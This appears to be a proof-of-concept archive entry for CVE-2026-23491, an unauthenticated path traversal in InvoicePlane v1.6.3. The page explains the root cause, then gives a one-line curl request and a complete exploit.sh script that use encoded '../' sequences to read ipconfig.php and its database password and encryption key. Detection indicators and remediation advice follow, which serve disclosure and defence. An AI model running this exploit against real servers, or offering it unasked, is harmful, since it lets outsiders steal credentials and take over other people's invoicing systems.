PoC Archive PoC Archive
Critical CVE-2026-23491 patched

InvoicePlane Unauthenticated Path Traversal in Guest Controller (CVE-2026-23491)

by Lukasz Rybak (lukasz-rybak) · 2026-07-05

Severity
Critical
CVE
CVE-2026-23491
Category
web
Affected product
InvoicePlane
Affected versions
v1.6.3 (fixed by upstream commit add8bb798dde621f886823065ef1841986543c6)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherLukasz Rybak (lukasz-rybak)
CVE / AdvisoryCVE-2026-23491
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsinvoiceplane, path-traversal, directory-traversal, unauthenticated, information-disclosure, php, arbitrary-file-read
RelatedN/A

Affected Target

FieldValue
Software / SystemInvoicePlane
Versions Affectedv1.6.3 (fixed by upstream commit add8bb798dde621f886823065ef1841986543c6)
Language / PlatformPHP (CodeIgniter-based)
Authentication RequiredNo
Network Access RequiredYes

Summary

InvoicePlane v1.6.3’s Guest module exposes a get_file controller action that serves uploaded customer files. The action urldecode()s the requested filename and concatenates it directly onto a fixed base directory (uploads/customer_files/) before passing the result to readfile(), without stripping directory-traversal sequences. An unauthenticated attacker can therefore supply a URL-encoded ../ sequence to escape the intended upload directory and read arbitrary files on the server, including application configuration containing database credentials and the encryption key.


Vulnerability Details

Root Cause

application/modules/guest/controllers/Get.php::get_file() builds the file path as $this->targetPath . urldecode($filename) and passes it straight to readfile(), with no canonicalization or traversal-sequence filtering.

Attack Vector

  1. Attacker identifies a reachable InvoicePlane v1.6.3 instance (no authentication needed).
  2. Attacker sends a GET request to the guest file-serving endpoint with a URL-encoded traversal path in place of a real filename, e.g. ..%2f..%2fipconfig.php.
  3. The server decodes the segment, concatenates it onto uploads/customer_files/, and resolves outside that directory.
  4. readfile() streams back the contents of the targeted file (e.g. the app’s ipconfig.php, which contains DB_PASSWORD and ENCRYPTION_KEY).

Impact

Unauthenticated disclosure of arbitrary files readable by the web server user — most critically the application configuration, which can expose database credentials and the encryption key and lead to full application compromise.


Environment / Lab Setup

Target:   InvoicePlane v1.6.3 (default install layout)
Attacker: curl (or any HTTP client)

Proof of Concept

PoC Script

See exploit.sh in this folder (extracted from the source advisory’s curl reproduction command). poc-screenshot.png is the original author’s captured proof of a successful leak.

1
2
./exploit.sh http://localhost ../../ipconfig.php
curl http://localhost/index.php/guest/get/get_file/..%2f..%2fipconfig.php

The script URL-encodes the traversal path and issues the GET request against the vulnerable guest/get/get_file endpoint, printing the leaked file contents (in the original report, ipconfig.php containing sensitive environment variables) to stdout.


Detection & Indicators of Compromise

GET /index.php/guest/get/get_file/..%2f..%2fipconfig.php HTTP/1.1

Signs of compromise:

  • Requests to /index.php/guest/get/get_file/ containing %2f or ../ sequences.
  • 200 responses from that endpoint for filenames outside uploads/customer_files/.
  • Unexpected outbound access to config-like filenames (ipconfig.php, .env, etc.) via the guest endpoint.

Remediation

ActionDetail
Primary fixUpgrade to the patched InvoicePlane release containing commit add8bb798dde621f886823065ef1841986543c6.
Interim mitigationAdd a WAF/reverse-proxy rule blocking encoded traversal sequences (%2e%2e, %2f) to the guest/get/get_file path, or disable the endpoint until patched.

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-23491 on 2026-07-05.

exploit.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env bash
# CVE-2026-23491 - InvoicePlane <= 1.6.3 unauthenticated path traversal
# in the Guest module's Get::get_file() controller action.
#
# The controller urldecode()s the "filename" path segment and concatenates it
# onto the fixed uploads/customer_files/ base directory before passing the
# result straight to readfile(), with no traversal-sequence sanitization.
# A URL-encoded "../" sequence therefore escapes the upload directory and
# lets an unauthenticated caller read arbitrary files readable by the web
# server user (application config, source, etc.).
#
# Usage:
#   ./exploit.sh <base_url> [relative-path-to-read]
#
# Example:
#   ./exploit.sh http://localhost
#   ./exploit.sh http://localhost ../../ipconfig.php

set -euo pipefail

BASE_URL="${1:-http://localhost}"
TARGET_FILE="${2:-../../ipconfig.php}"

# URL-encode the traversal sequence's "/" as %2f, matching the original PoC.
ENCODED_PATH="$(printf '%s' "$TARGET_FILE" | sed 's#/#%2f#g')"

echo "[*] Target:   $BASE_URL"
echo "[*] Reading:  $TARGET_FILE (relative to uploads/customer_files/)"
echo

curl -s "${BASE_URL%/}/index.php/guest/get/get_file/${ENCODED_PATH}"